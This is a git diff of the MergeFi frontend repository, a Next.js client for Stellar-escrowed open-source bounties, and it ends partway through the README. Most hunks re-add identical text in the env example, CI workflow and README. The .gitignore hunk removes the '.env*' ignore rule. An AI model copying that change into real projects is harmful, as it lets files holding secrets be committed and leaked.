diff --git a/.env.example b/.env.example
index 8c69f480..f190524f 100644
--- a/.env.example
+++ b/.env.example
@@ -1,23 +1,23 @@
-# Copy this file to .env.local for local development:
-# cp .env.example .env.local
-#
-# Both variables below are validated at build time (next.config.ts) — an
-# unset or invalid value fails `next build`/`next dev`/`next start`
-# immediately rather than silently falling back (#26). The values below are
-# exactly what local dev needs, so the quickstart in README.md works with
-# zero edits.
-
-# Base URL of the mergefi-backend API. Falls back to the value below if
-# unset, so this line is optional — kept explicit for discoverability.
-NEXT_PUBLIC_API_URL=http://localhost:4000/api
-
-# Must be exactly "TESTNET" or "PUBLIC" (case-sensitive) — no other value
-# is accepted, and there is no default. This selects the Freighter network
-# passphrase used to sign transactions (see src/lib/wallet.ts); the wrong
-# value here signs with the wrong network's passphrase.
-NEXT_PUBLIC_STELLAR_NETWORK=TESTNET
-
-# Base URL used by src/app/sitemap.ts to generate absolute URLs in the
-# sitemap. Falls back to "https://mergefi.app" if unset — set this when
-# deploying to a domain other than mergefi.app (staging, forks, etc.).
-NEXT_PUBLIC_SITE_URL=https://mergefi.app
+# Copy this file to .env.local for local development:
+# cp .env.example .env.local
+#
+# Both variables below are validated at build time (next.config.ts) — an
+# unset or invalid value fails `next build`/`next dev`/`next start`
+# immediately rather than silently falling back (#26). The values below are
+# exactly what local dev needs, so the quickstart in README.md works with
+# zero edits.
+
+# Base URL of the mergefi-backend API. Falls back to the value below if
+# unset, so this line is optional — kept explicit for discoverability.
+NEXT_PUBLIC_API_URL=http://localhost:4000/api
+
+# Must be exactly "TESTNET" or "PUBLIC" (case-sensitive) — no other value
+# is accepted, and there is no default. This selects the Freighter network
+# passphrase used to sign transactions (see src/lib/wallet.ts); the wrong
+# value here signs with the wrong network's passphrase.
+NEXT_PUBLIC_STELLAR_NETWORK=TESTNET
+
+# Base URL used by src/app/sitemap.ts to generate absolute URLs in the
+# sitemap. Falls back to "https://mergefi.app" if unset — set this when
+# deploying to a domain other than mergefi.app (staging, forks, etc.).
+NEXT_PUBLIC_SITE_URL=https://mergefi.app
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 344ae9a7..c03c4919 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -1,48 +1,48 @@
-name: CI
-
-on:
- push:
- branches: [main]
- pull_request:
- branches: [main]
-
-concurrency:
- group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}
- cancel-in-progress: true
-
-jobs:
- build-and-lint:
- runs-on: ubuntu-latest
- # next.config.ts validates NEXT_PUBLIC_STELLAR_NETWORK on every Next.js
- # command (build, dev, start) — not just `build` — so `verify:headers`'s
- # own `next start` needs this too, not only the `build` step. Set once
- # at the job level rather than repeating it per-step, so a future step
- # that also invokes `next` doesn't quietly reintroduce this gap.
- # verify:env intentionally strips this back out before each of its own
- # test builds (see scripts/verify-env-validation.mjs), so it isn't
- # affected by the default set here.
- env:
- NEXT_PUBLIC_STELLAR_NETWORK: TESTNET
- steps:
- - uses: actions/checkout@v4
-
- - uses: actions/setup-node@v4
- with:
- node-version: 20
- cache: npm
-
- - name: Cache Next.js build
- uses: actions/cache@v4
- with:
- path: .next/cache
- key: ${{ runner.os }}-nextjs-${{ hashFiles('package-lock.json') }}-${{ hashFiles('src/**') }}
- restore-keys: |
- ${{ runner.os }}-nextjs-${{ hashFiles('package-lock.json') }}-
-
- - run: npm ci
- - run: npm run lint
- - run: npm test
- - run: npm run verify:env
- - run: npm run build
- - run: npm run verify:headers
- - run: npm audit --audit-level=high
+name: CI
+
+on:
+ push:
+ branches: [main]
+ pull_request:
+ branches: [main]
+
+concurrency:
+ group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}
+ cancel-in-progress: true
+
+jobs:
+ build-and-lint:
+ runs-on: ubuntu-latest
+ # next.config.ts validates NEXT_PUBLIC_STELLAR_NETWORK on every Next.js
+ # command (build, dev, start) — not just `build` — so `verify:headers`'s
+ # own `next start` needs this too, not only the `build` step. Set once
+ # at the job level rather than repeating it per-step, so a future step
+ # that also invokes `next` doesn't quietly reintroduce this gap.
+ # verify:env intentionally strips this back out before each of its own
+ # test builds (see scripts/verify-env-validation.mjs), so it isn't
+ # affected by the default set here.
+ env:
+ NEXT_PUBLIC_STELLAR_NETWORK: TESTNET
+ steps:
+ - uses: actions/checkout@v4
+
+ - uses: actions/setup-node@v4
+ with:
+ node-version: 20
+ cache: npm
+
+ - name: Cache Next.js build
+ uses: actions/cache@v4
+ with:
+ path: .next/cache
+ key: ${{ runner.os }}-nextjs-${{ hashFiles('package-lock.json') }}-${{ hashFiles('src/**') }}
+ restore-keys: |
+ ${{ runner.os }}-nextjs-${{ hashFiles('package-lock.json') }}-
+
+ - run: npm ci
+ - run: npm run lint
+ - run: npm test
+ - run: npm run verify:env
+ - run: npm run build
+ - run: npm run verify:headers
+ - run: npm audit --audit-level=high
diff --git a/.gitignore b/.gitignore
index 7b8da95f..da80bd27 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,42 +1,45 @@
-# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
-
-# dependencies
-/node_modules
-/.pnp
-.pnp.*
-.yarn/*
-!.yarn/patches
-!.yarn/plugins
-!.yarn/releases
-!.yarn/versions
-
-# testing
-/coverage
-
-# next.js
-/.next/
-/out/
-
-# production
-/build
-
-# misc
-.DS_Store
-*.pem
-
-# debug
-npm-debug.log*
-yarn-debug.log*
-yarn-error.log*
-.pnpm-debug.log*
-
-# env files (can opt-in for committing if needed)
-.env*
-!.env.example
-
-# vercel
-.vercel
-
-# typescript
-*.tsbuildinfo
-next-env.d.ts
+# See https://help.github.com/articles/ignoring-files/ for more about ignoring files.
+
+# dependencies
+/node_modules
+/.pnp
+.pnp.*
+.yarn/*
+!.yarn/patches
+!.yarn/plugins
+!.yarn/releases
+!.yarn/versions
+
+# testing
+/coverage
+
+# next.js
+/.next/
+/out/
+
+# production
+/build
+
+# misc
+.DS_Store
+*.pem
+
+# debug
+npm-debug.log*
+yarn-debug.log*
+yarn-error.log*
+.pnpm-debug.log*
+
+# env files (can opt-in for committing if needed)
+!.env.example
+
+# vercel
+.vercel
+
+# typescript
+*.tsbuildinfo
+next-env.d.ts
+branch_structure.json
+temp_auto_push.bat
+temp_interactive_push.bat
+config.bat
diff --git a/README.md b/README.md
index 067736f3..adc69a9a 100644
--- a/README.md
+++ b/README.md
@@ -1,205 +1,205 @@
-# MergeFi Frontend
-
-**Where Open Source Meets Finance — Merge code. Earn instantly.**
-
-This is the web client for **MergeFi**, a platform where sponsors fund open-source
-work, maintainers turn GitHub issues into paid bounties, contributors complete
-them, and [Soroban](https://developers.stellar.org/docs/build/smart-contracts)
-smart contracts on the Stellar network hold funds in escrow and release
-payment automatically the moment a pull request is merged.
-
-GitHub remains the source of truth for code. Stellar/Soroban handles the
-financial layer. This repo is the Next.js frontend that ties both together for
-contributors, maintainers, and sponsors.
-
-Related repositories:
-
-- [`mergefi/backend`](https://github.com/MergeFi/backend) — NestJS API: GitHub sync, webhooks, bounty/escrow orchestration, reputation, analytics.
-- [`mergefi/contracts`](https://github.com/MergeFi/contracts) — Soroban smart contracts: escrow, milestone funding, maintenance pools, team splits.
-
-
-
-## Why Stellar and Soroban?
-
-- Very low transaction costs make micro-bounties (a $5 doc fix, a $20 bug fix) economically practical.
-- Fast settlement means contributors get paid in minutes, not weeks.
-- Soroban smart contracts implement escrow, payment release, refunds, and split logic natively on-chain, so no one — including MergeFi — can touch funds outside the rules encoded in the contract.
-
-## License
-
-This project is licensed under the [MIT License](LICENSE).
-
-## Core users
-
-| Role | What they do |
-| ---------------- | -------------------------------------------------------------------------------------- |
-| **Contributors** | Discover paid issues, build a public reputation, earn USDC/XLM, track earnings. |
-| **Maintainers** | Create projects, attach rewards to issues, approve completed work, manage permissions. |
-| **Sponsors** | Fund repositories or specific issues/milestones, track spend, measure impact. |
-
-
-
-## Feature map → routes
-
-| Feature | Route |
-| ------------------------------------------------------------ | ------------------------ |
-| Landing page / product pitch | `/` |
-| Browse paid issues (bounties) | `/issues` |
-| Bounty detail, escrow status, claim flow | `/issues/[id]` |
-| Milestone funding + recurring maintenance pools | `/milestones` |
-| Connect GitHub + Stellar wallet (Freighter) | `/connect` |
-| Contributor dashboard (earnings, claims, recommendations) | `/dashboard/contributor` |
-| Maintainer dashboard (bounty pipeline, PRs awaiting merge) | `/dashboard/maintainer` |
-| Sponsor dashboard (spend, active bounties, budget remaining) | `/dashboard/sponsor` |
-| Public reputation profile | `/reputation/[handle]` |
-
-## Architecture
-
-```
-Next.js (App Router) this repo
- ├─ Server Components fetch data ── mergefi-backend REST API
- │ (falls back to realistic mock data
- │ when the backend isn't running,
- │ so the UI is always demoable)
- └─ Client components (/connect) ── GitHub OAuth redirect (backend-issued)
- └─ Freighter wallet extension
- (@stellar/freighter-api)
-```
-
-- **Framework**: Next.js 16 (App Router, React 19, TypeScript, Turbopack).
-- **Styling**: Tailwind CSS v4, dark-mode-first design system (`slate`/`emerald` palette).
-- **Data fetching**: Server Components call the backend via `src/lib/api.ts#fetchWithFallback`, which tries the live API and falls back to `src/lib/mock-data.ts` if it's unreachable — the app is fully browsable without the backend running.
-- **Wallet integration**: `src/lib/wallet.ts` wraps `@stellar/freighter-api` for connecting a Stellar wallet and signing transactions (escrow funding, milestone deposits) client-side.
-- **GitHub auth**: The "Connect GitHub" button redirects to the backend's OAuth endpoint (`NEXT_PUBLIC_API_URL/auth/github`); the frontend itself holds no GitHub credentials.
-
-### Directory layout
-
-```
-src/
- app/ App Router routes (one folder per route above)
- components/
- ui/ Button, Badge, StatCard, Avatar, Tabs, ThemeToggle — small reusable primitives
- layout/ Navbar, Footer, CopyrightYear
- bounty/ BountyCard, BountyDescription
- dashboard/ ActivityList, DashboardShell
- context/
- AuthContext.tsx current-user session state
- ThemeContext.tsx dark/light theme toggle
- WalletContext.tsx Stellar wallet connection state
- hooks/
- useCrossTabStorage.ts cross-tab localStorage sync
- lib/
- adapters.ts raw-backend-to-UI-shape translation layer
- api.ts fetch wrapper + mock-data fallback
- auth.ts token storage
- config.ts env-driven API base URL, OAuth URL, Stellar network
- env.ts build-time env-var validation
- markdown.ts markdown rendering helpers
- mock-data.ts realistic sample bounties/milestones/profiles for demos
- utils.ts cn(), currency/percent/date formatting
- wallet.ts Freighter connect/sign helpers
- types/
- index.ts shared domain types (Bounty, Milestone, ReputationProfile, ...)
-```
-
-## Getting started
-
-```bash
-npm install
-cp .env.example .env.local
-npm run dev
-```
-
-Open [http://localhost:3000](http://localhost:3000). With no backend running,
-every page renders against the bundled mock data in `src/lib/mock-data.ts` —
-useful for frontend-only development or a quick demo. Point
-`NEXT_PUBLIC_API_URL` at a running `mergefi-backend` instance to see live data.
-
-### Environment variables
-
-Both `NEXT_PUBLIC_API_URL` and `NEXT_PUBLIC_STELLAR_NETWORK` are validated at build time (`next.config.ts` / `src/lib/env.ts`, #26) — an unset or invalid value fails `next build`/`next dev`/`next start` immediately with a clear error, rather than silently falling back and only surfacing as a confusing on-chain failure later. `NEXT_PUBLIC_SITE_URL` is not build-time validated — it falls back to `https://mergefi.app` if unset. `.env.example` sets all three explicitly, so the quickstart above needs no manual edits.
-
-| Variable | Purpose | Default |
-| ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `NEXT_PUBLIC_API_URL` | Base URL of the `mergefi-backend` API. Must be a well-formed URL. | `http://localhost:4000/api` |
-| `NEXT_PUBLIC_STELLAR_NETWORK` | Must be exactly `TESTNET` or `PUBLIC` (case-sensitive) — selects the Freighter network passphrase used to sign transactions. | **None.** Network selection is too consequential to guess a default for — the wrong value signs transactions with the wrong passphrase. Set it explicitly (`.env.example` does this for local dev). |
-| `NEXT_PUBLIC_SITE_URL` | Base URL used by `src/app/sitemap.ts` to generate absolute sitemap URLs. Set this when deploying to a domain other than `mergefi.app` (staging, forks, etc.). | `https://mergefi.app` |
-
-### Scripts
-
-| Command | Description |
-| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------- |
-| `npm run dev` | Start the dev server with Turbopack |
-| `npm run build` | Production build |
-| `npm run start` | Serve the production build |
-| `npm run lint` | ESLint (flat config, `eslint-config-next`) |
-| `npm test` | Runs the Jest test suite |
-| `npm run test:watch` | Runs the Jest test suite in watch mode |
-| `npm run verify:headers` | Boots the production build and asserts security headers are present on real responses (run `npm run build` first) |
-| `npm run verify:env` | Asserts `next build` succeeds/fails correctly across missing, invalid, and valid `NEXT_PUBLIC_*` env var scenarios (runs in CI) |
-
-## Security headers
-
-`next.config.ts` sets these on every route, verified in CI via `npm run verify:headers`:
-
-| Header | Value | Why |
-| --------------------------- | --------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `X-Frame-Options` | `DENY` | No legitimate iframe-embedding use case exists in this app, and fund/claim actions are one click away — clickjacking is a real risk here. Relax to a scoped CSP `frame-ancestors` allowlist if a real embed need ever comes up. |
-| `X-Content-Type-Options` | `nosniff` | Stops the browser from MIME-sniffing a response into an executable content type. |
-| `Referrer-Policy` | `strict-origin-when-cross-origin` | The GitHub OAuth callback (`/auth/callback`) carries a short-lived token in its query string; this keeps the full URL out of the `Referer` header on cross-origin requests. |
-| `Strict-Transport-Security` | `max-age=86400` | Deliberately conservative to start (no `includeSubDomains`, no `preload`) — HSTS is effectively irreversible once cached by a browser. Raise `max-age` and add `includeSubDomains` after a stable production run, and only add `preload` once that's stable too. |
-
-`Content-Security-Policy` is intentionally not set here — it's tracked separately so it can compose correctly with the theme-init inline script in `layout.tsx` rather than this change guessing at a nonce/hash strategy.
-
-None of these headers affect the Freighter wallet bridge or the GitHub OAuth flow: Freighter communicates via an injected browser-extension content script (`@stellar/freighter-api`), which framing/MIME/referrer/transport headers have no bearing on, and the OAuth `fetch` calls to the backend are unaffected since these headers only change what's _disclosed_, not whether a request succeeds.
-
-## Search-engine indexability policy
-
-Contributor profiles (`/reputation/[handle]`) server-render a real GitHub handle, avatar, organisations, and **lifetime earnings**. The policy is: **public by direct link, opt-in for search-engine indexing.** A profile URL always works and is shareable; it is submitted to and indexed by search engines only if the contributor has explicitly opted in.
-
-The reasoning is asymmetry of reversibility. Search indexing is effectively permanent in practice — removal requests are slow, partial, and never complete for URLs already crawled. A default of "indexed unless you opt out" makes the *harm* irreversible; a default of "not indexed unless you opt in" costs only some SEO surface, which the contributor can unlock themselves at any time. For earnings attached to a legal name, that trade is worth making.
-
-Enforced across three surfaces that can otherwise disagree:
-
-| Surface | File | Behavior |
-| ---------------------- | -------------------------------------------------------- | ------------------------------------------------------------------------------ |
-| Sitemap | `src/app/sitemaps/[id]/route.ts`, `src/lib/api.ts` | Only handles that opted in are listed, filtered in `fetchIndexableReputationHandles`. |
-| Per-page metadata | `src/app/reputation/[handle]/page.tsx` | `noindex, nofollow` on the document for profiles that haven't opted in. |
-| `robots.txt` | `src/app/robots.ts` | Allows `/reputation/` — see below. Dashboard and OAuth callback stay disallowed. |
-
-`robots.txt` deliberately does **not** disallow `/reputation/`: crawlers have to be able to fetch the page in order to see its `noindex` tag, and blocking the path is what leaves already-indexed URLs stuck in the index. Sitemap omission alone isn't enough either, since a URL shared in a chat or a GitHub README can still get indexed from an inbound link.
-
-**Needs a backend field.** mergefi-backend's user entity has no opt-in flag today. The frontend reads `isProfilePublic` defensively and defaults to **not** indexable, so nothing is indexed until the field ships — the safe side of the trade. Adding the field (plus a settings UI to set it) requires no further frontend change.
-
-Sitemaps are split into 50,000-URL files (`/sitemaps/.xml`, with a permanent redirect from the old `/sitemap.xml`) to respect the per-file limit search engines enforce. They're served with a CDN-cacheable `Cache-Control` and memoized for an hour in-process, so crawler traffic doesn't reach the backend on every request.
-
-## Chart accessibility
-
-`BarChart` and `Sparkline` are hand-rolled — no charting library is a dependency choice here. Both are audited automatically with [`jest-axe`](https://github.com/NickColley/jest-axe) in `npm test` (so they run in CI), and the audit is also run over the composition the dashboards actually render in `src/components/dashboard/dashboard-charts.a11y.test.tsx`. The tests assert **zero** violations, not just zero critical/serious ones.
-
-| Problem | Approach |
-| --- | --- |
-| Bars conveyed only as coloured rectangles | Visual bars are `aria-hidden`; the accessible equivalent is a visually-hidden (`sr-only`) `
` with a caption naming the chart and a real value per row. |
-| `Sparkline` was `aria-hidden` with no equivalent at all | Now `role="img"` with an accessible name summarising the trend — point count, direction, first, last, and full range. `StatCard` forwards its own `label` so it reads as "Earnings: 8 data points, trending up from 12 to 31", not an unlabelled graphic. |
-| Values only in a `title` attribute | Unreachable by keyboard and unreliably announced. Each bar is now focusable with a visible `focus-visible` ring and reveals the same tooltip on focus (`group-focus-within`) as on hover, inside the `aria-hidden` subtree so values aren't announced twice. |
-| Sign encoded by colour alone (indigo vs rose) | Negative bars also carry a diagonal stripe pattern, and the value keeps its sign in both the tooltip and the data table. |
-| Label/series colours failing WCAG AA | Measured, not eyeballed. Bar labels: `slate-500` on white = 4.76:1 and `slate-400` on `slate-900` = 6.96:1 (previously 2.56:1 and 3.75:1, both failing). Negative bars: `rose-600/80` on white = 3.75:1, above the 3:1 required of a graphical object (previously 2.97:1). Contrast ratios are recorded in the component doc comments. |
-
-**Manual QA still required.** Automated tooling cannot verify announcement order or wording in a real screen reader, so the VoiceOver (Safari) and NVDA (Firefox/Chrome) pass over `/dashboard/sponsor`, `/dashboard/contributor`, `/dashboard/maintainer`, and `/issues/[id]` is a manual checklist: each chart is announced once with its data reachable as text, a negative bar's sign is conveyed without relying on colour, and every bar is reachable and readable by keyboard alone.
-
-## Example user journey
-
-1. A maintainer connects a GitHub repository from `/connect`.
-2. From their dashboard, they mark an issue with a **100 USDC** reward.
-3. A sponsor funds the bounty from `/dashboard/sponsor` — the backend locks the funds in a Soroban escrow contract.
-4. A contributor browses `/issues`, claims the bounty, and opens a pull request.
-5. The maintainer reviews and merges it on GitHub.
-6. The backend detects the merge via a GitHub webhook and calls the escrow contract's release function.
-7. The contributor is paid on-chain within minutes, and their `/reputation/[handle]` profile updates.
-
-## Roadmap
-
-- Wire the contributor/maintainer dashboards to authenticated sessions instead of a hardcoded demo handle.
-- Real-time bounty/escrow status via websockets or polling once the backend emits webhook-driven events.
-- AI-powered issue recommendations based on a contributor's language/repo history.
-- Organization verification badges and cross-repository reputation aggregation.
+# MergeFi Frontend
+
+**Where Open Source Meets Finance — Merge code. Earn instantly.**
+
+This is the web client for **MergeFi**, a platform where sponsors fund open-source
+work, maintainers turn GitHub issues into paid bounties, contributors complete
+them, and [Soroban](https://developers.stellar.org/docs/build/smart-contracts)
+smart contracts on the Stellar network hold funds in escrow and release
+payment automatically the moment a pull request is merged.
+
+GitHub remains the source of truth for code. Stellar/Soroban handles the
+financial layer. This repo is the Next.js frontend that ties both together for
+contributors, maintainers, and sponsors.
+
+Related repositories:
+
+- [`mergefi/backend`](https://github.com/MergeFi/backend) — NestJS API: GitHub sync, webhooks, bounty/escrow orchestration, reputation, analytics.
+- [`mergefi/contracts`](https://github.com/MergeFi/contracts) — Soroban smart contracts: escrow, milestone funding, maintenance pools, team splits.
+
+
+
+## Why Stellar and Soroban?
+
+- Very low transaction costs make micro-bounties (a $5 doc fix, a $20 bug fix) economically practical.
+- Fast settlement means contributors get paid in minutes, not weeks.
+- Soroban smart contracts implement escrow, payment release, refunds, and split logic natively on-chain, so no one — including MergeFi — can touch funds outside the rules encoded in the contract.
+
+## License
+
+This project is licensed under the [MIT License](LICENSE).
+
+## Core users
+
+| Role | What they do |
+| ---------------- | -------------------------------------------------------------------------------------- |
+| **Contributors** | Discover paid issues, build a public reputation, earn USDC/XLM, track earnings. |
+| **Maintainers** | Create projects, attach rewards to issues, approve completed work, manage permissions. |
+| **Sponsors** | Fund repositories or specific issues/milestones, track spend, measure impact. |
+
+
+
+## Feature map → routes
+
+| Feature | Route |
+| ------------------------------------------------------------ | ------------------------ |
+| Landing page / product pitch | `/` |
+| Browse paid issues (bounties) | `/issues` |
+| Bounty detail, escrow status, claim flow | `/issues/[id]` |
+| Milestone funding + recurring maintenance pools | `/milestones` |
+| Connect GitHub + Stellar wallet (Freighter) | `/connect` |
+| Contributor dashboard (earnings, claims, recommendations) | `/dashboard/contributor` |
+| Maintainer dashboard (bounty pipeline, PRs awaiting merge) | `/dashboard/maintainer` |
+| Sponsor dashboard (spend, active bounties, budget remaining) | `/dashboard/sponsor` |
+| Public reputation profile | `/reputation/[handle]` |
+
+## Architecture
+
+```
+Next.js (App Router) this repo
+ ├─ Server Components fetch data ── mergefi-backend REST API
+ │ (falls back to realistic mock data
+ │ when the backend isn't running,
+ │ so the UI is always demoable)
+ └─ Client components (/connect) ── GitHub OAuth redirect (backend-issued)
+ └─ Freighter wallet extension
+ (@stellar/freighter-api)
+```
+
+- **Framework**: Next.js 16 (App Router, React 19, TypeScript, Turbopack).
+- **Styling**: Tailwind CSS v4, dark-mode-first design system (`slate`/`emerald` palette).
+- **Data fetching**: Server Components call the backend via `src/lib/api.ts#fetchWithFallback`, which tries the live API and falls back to `src/lib/mock-data.ts` if it's unreachable — the app is fully browsable without the backend running.
+- **Wallet integration**: `src/lib/wallet.ts` wraps `@stellar/freighter-api` for connecting a Stellar wallet and signing transactions (escrow funding, milestone deposits) client-side.
+- **GitHub auth**: The "Connect GitHub" button redirects to the backend's OAuth endpoint (`NEXT_PUBLIC_API_URL/auth/github`); the frontend itself holds no GitHub credentials.
+
+### Directory layout
+
+```
+src/
+ app/ App Router routes (one folder per route above)
+ components/
+ ui/ Button, Badge, StatCard, Avatar, Tabs, ThemeToggle — small reusable primitives
+ layout/ Navbar, Footer, CopyrightYear
+ bounty/ BountyCard, BountyDescription
+ dashboard/ ActivityList, DashboardShell
+ context/
+ AuthContext.tsx current-user session state
+ ThemeContext.tsx dark/light theme toggle
+ WalletContext.tsx Stellar wallet connection state
+ hooks/
+ useCrossTabStorage.ts cross-tab localStorage sync
+ lib/
+ adapters.ts raw-backend-to-UI-shape translation layer
+ api.ts fetch wrapper + mock-data fallback
+ auth.ts token storage
+ config.ts env-driven API base URL, OAuth URL, Stellar network
+ env.ts build-time env-var validation
+ markdown.ts markdown rendering helpers
+ mock-data.ts realistic sample bounties/milestones/profiles for demos
+ utils.ts cn(), currency/percent/date formatting
+ wallet.ts Freighter connect/sign helpers
+ types/
+ index.ts shared domain types (Bounty, Milestone, ReputationProfile, ...)
+```
+
+## Getting started
+
+```bash
+npm install
+cp .env.example .env.local
+npm run dev
+```
+
+Open [http://localhost:3000](http://localhost:3000). With no backend running,
+every page renders against the bundled mock data in `src/lib/mock-data.ts` —
+useful for frontend-only development or a quick demo. Point
+`NEXT_PUBLIC_API_URL` at a running `mergefi-backend` instance to see live data.
+
+### Environment variables
+
+Both `NEXT_PUBLIC_API_URL` and `NEXT_PUBLIC_STELLAR_NETWORK` are validated at build time (`next.config.ts` / `src/lib/env.ts`, #26) — an unset or invalid value fails `next build`/`next dev`/`next start` immediately with a clear error, rather than silently falling back and only surfacing as a confusing on-chain failure later. `NEXT_PUBLIC_SITE_URL` is not build-time validated — it falls back to `https://mergefi.app` if unset. `.env.example` sets all three explicitly, so the quickstart above needs no manual edits.
+
+| Variable | Purpose | Default |
+| ----------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `NEXT_PUBLIC_API_URL` | Base URL of the `mergefi-backend` API. Must be a well-formed URL. | `http://localhost:4000/api` |
+| `NEXT_PUBLIC_STELLAR_NETWORK` | Must be exactly `TESTNET` or `PUBLIC` (case-sensitive) — selects the Freighter network passphrase used to sign transactions. | **None.** Network selection is too consequential to guess a default for — the wrong value signs transactions with the wrong passphrase. Set it explicitly (`.env.example` does this for local dev). |
+| `NEXT_PUBLIC_SITE_URL` | Base URL used by `src/app/sitemap.ts` to generate absolute sitemap URLs. Set this when deploying to a domain other than `mergefi.app` (staging, forks, etc.). | `https://mergefi.app` |
+
+### Scripts
+
+| Command | Description |
+| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------- |
+| `npm run dev` | Start the dev server with Turbopack |
+| `npm run build` | Production build |
+| `npm run start` | Serve the production build |
+| `npm run lint` | ESLint (flat config, `eslint-config-next`) |
+| `npm test` | Runs the Jest test suite |
+| `npm run test:watch` | Runs the Jest test suite in watch mode |
+| `npm run verify:headers` | Boots the production build and asserts security headers are present on real responses (run `npm run build` first) |
+| `npm run verify:env` | Asserts `next build` succeeds/fails correctly across missing, invalid, and valid `NEXT_PUBLIC_*` env var scenarios (runs in CI) |
+
+## Security headers
+
+`next.config.ts` sets these on every route, verified in CI via `npm run verify:headers`:
+
+| Header | Value | Why |
+| --------------------------- | --------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `X-Frame-Options` | `DENY` | No legitimate iframe-embedding use case exists in this app, and fund/claim actions are one click away — clickjacking is a real risk here. Relax to a scoped CSP `frame-ancestors` allowlist if a real embed need ever comes up. |
+| `X-Content-Type-Options` | `nosniff` | Stops the browser from MIME-sniffing a response into an executable content type. |
+| `Referrer-Policy` | `strict-origin-when-cross-origin` | The GitHub OAuth callback (`/auth/callback`) carries a short-lived token in its query string; this keeps the full URL out of the `Referer` header on cross-origin requests. |
+| `Strict-Transport-Security` | `max-age=86400` | Deliberately conservative to start (no `includeSubDomains`, no `preload`) — HSTS is effectively irreversible once cached by a browser. Raise `max-age` and add `includeSubDomains` after a stable production run, and only add `preload` once that's stable too. |
+
+`Content-Security-Policy` is intentionally not set here — it's tracked separately so it can compose correctly with the theme-init inline script in `layout.tsx` rather than this change guessing at a nonce/hash strategy.
+
+None of these headers affect the Freighter wallet bridge or the GitHub OAuth flow: Freighter communicates via an injected browser-extension content script (`@stellar/freighter-api`), which framing/MIME/referrer/transport headers have no bearing on, and the OAuth `fetch` calls to the backend are unaffected since these headers only change what's _disclosed_, not whether a request succeeds.
+
+## Search-engine indexability policy
+
+Contributor profiles (`/reputation/[handle]`) server-render a real GitHub handle, avatar, organisations, and **lifetime earnings**. The policy is: **public by direct link, opt-in for search-engine indexing.** A profile URL always works and is shareable; it is submitted to and indexed by search engines only if the contributor has explicitly opted in.
+
+The reasoning is asymmetry of reversibility. Search indexing is effectively permanent in practice — removal requests are slow, partial, and never complete for URLs already crawled. A default of "indexed unless you opt out" makes the *harm* irreversible; a default of "not indexed unless you opt in" costs only some SEO surface, which the contributor can unlock themselves at any time. For earnings attached to a legal name, that trade is worth making.
+
+Enforced across three surfaces that can otherwise disagree:
+
+| Surface | File | Behavior |
+| ---------------------- | -------------------------------------------------------- | ------------------------------------------------------------------------------ |
+| Sitemap | `src/app/sitemaps/[id]/route.ts`, `src/lib/api.ts` | Only handles that opted in are listed, filtered in `fetchIndexableReputationHandles`. |
+| Per-page metadata | `src/app/reputation/[handle]/page.tsx` | `noindex, nofollow` on the document for profiles that haven't opted in. |
+| `robots.txt` | `src/app/robots.ts` | Allows `/reputation/` — see below. Dashboard and OAuth callback stay disallowed. |
+
+`robots.txt` deliberately does **not** disallow `/reputation/`: crawlers have to be able to fetch the page in order to see its `noindex` tag, and blocking the path is what leaves already-indexed URLs stuck in the index. Sitemap omission alone isn't enough either, since a URL shared in a chat or a GitHub README can still get indexed from an inbound link.
+
+**Needs a backend field.** mergefi-backend's user entity has no opt-in flag today. The frontend reads `isProfilePublic` defensively and defaults to **not** indexable, so nothing is indexed until the field ships — the safe side of the trade. Adding the field (plus a settings UI to set it) requires no further frontend change.
+
+Sitemaps are split into 50,000-URL files (`/sitemaps/.xml`, with a permanent redirect from the old `/sitemap.xml`) to respect the per-file limit search engines enforce. They're served with a CDN-cacheable `Cache-Control` and memoized for an hour in-process, so crawler traffic doesn't reach the backend on every request.
+
+## Chart accessibility
+
+`BarChart` and `Sparkline` are hand-rolled — no charting library is a dependency choice here. Both are audited automatically with [`jest-axe`](https://github.com/NickColley/jest-axe) in `npm test` (so they run in CI), and the audit is also run over the composition the dashboards actually render in `src/components/dashboard/dashboard-charts.a11y.test.tsx`. The tests assert **zero** violations, not just zero critical/serious ones.
+
+| Problem | Approach |
+| --- | --- |
+| Bars conveyed only as coloured rectangles | Visual bars are `aria-hidden`; the accessible equivalent is a visually-hidden (`sr-only`) `
` with a caption naming the chart and a real value per row. |
+| `Sparkline` was `aria-hidden` with no equivalent at all | Now `role="img"` with an accessible name summarising the trend — point count, direction, first, last, and full range. `StatCard` forwards its own `label` so it reads as "Earnings: 8 data points, trending up from 12 to 31", not an unlabelled graphic. |
+| Values only in a `title` attribute | Unreachable by keyboard and unreliably announced. Each bar is now focusable with a visible `focus-visible` ring and reveals the same tooltip on focus (`group-focus-within`) as on hover, inside the `aria-hidden` subtree so values aren't announced twice. |
+| Sign encoded by colour alone (indigo vs rose) | Negative bars also carry a diagonal stripe pattern, and the value keeps its sign in both the tooltip and the data table. |
+| Label/series colours failing WCAG AA | Measured, not eyeballed. Bar labels: `slate-500` on white = 4.76:1 and `slate-400` on `slate-900` = 6.96:1 (previously 2.56:1 and 3.75:1, both failing). Negative bars: `rose-600/80` on white = 3.75:1, above the 3:1 required of a graphical object (previously 2.97:1). Contrast ratios are recorded in the component doc comments. |
+
+**Manual QA still required.** Automated tooling cannot verify announcement order or wording in a real screen reader, so the VoiceOver (Safari) and NVDA (Firefox/Chrome) pass over `/dashboard/sponsor`, `/dashboard/contributor`, `/dashboard/maintainer`, and `/issues/[id]` is a manual checklist: each chart is announced once with its data reachable as text, a negative bar's sign is conveyed without relying on colour, and every bar is reachable and readable by keyboard alone.
+
+## Example user journey
+
+1. A maintainer connects a GitHub repository from `/connect`.
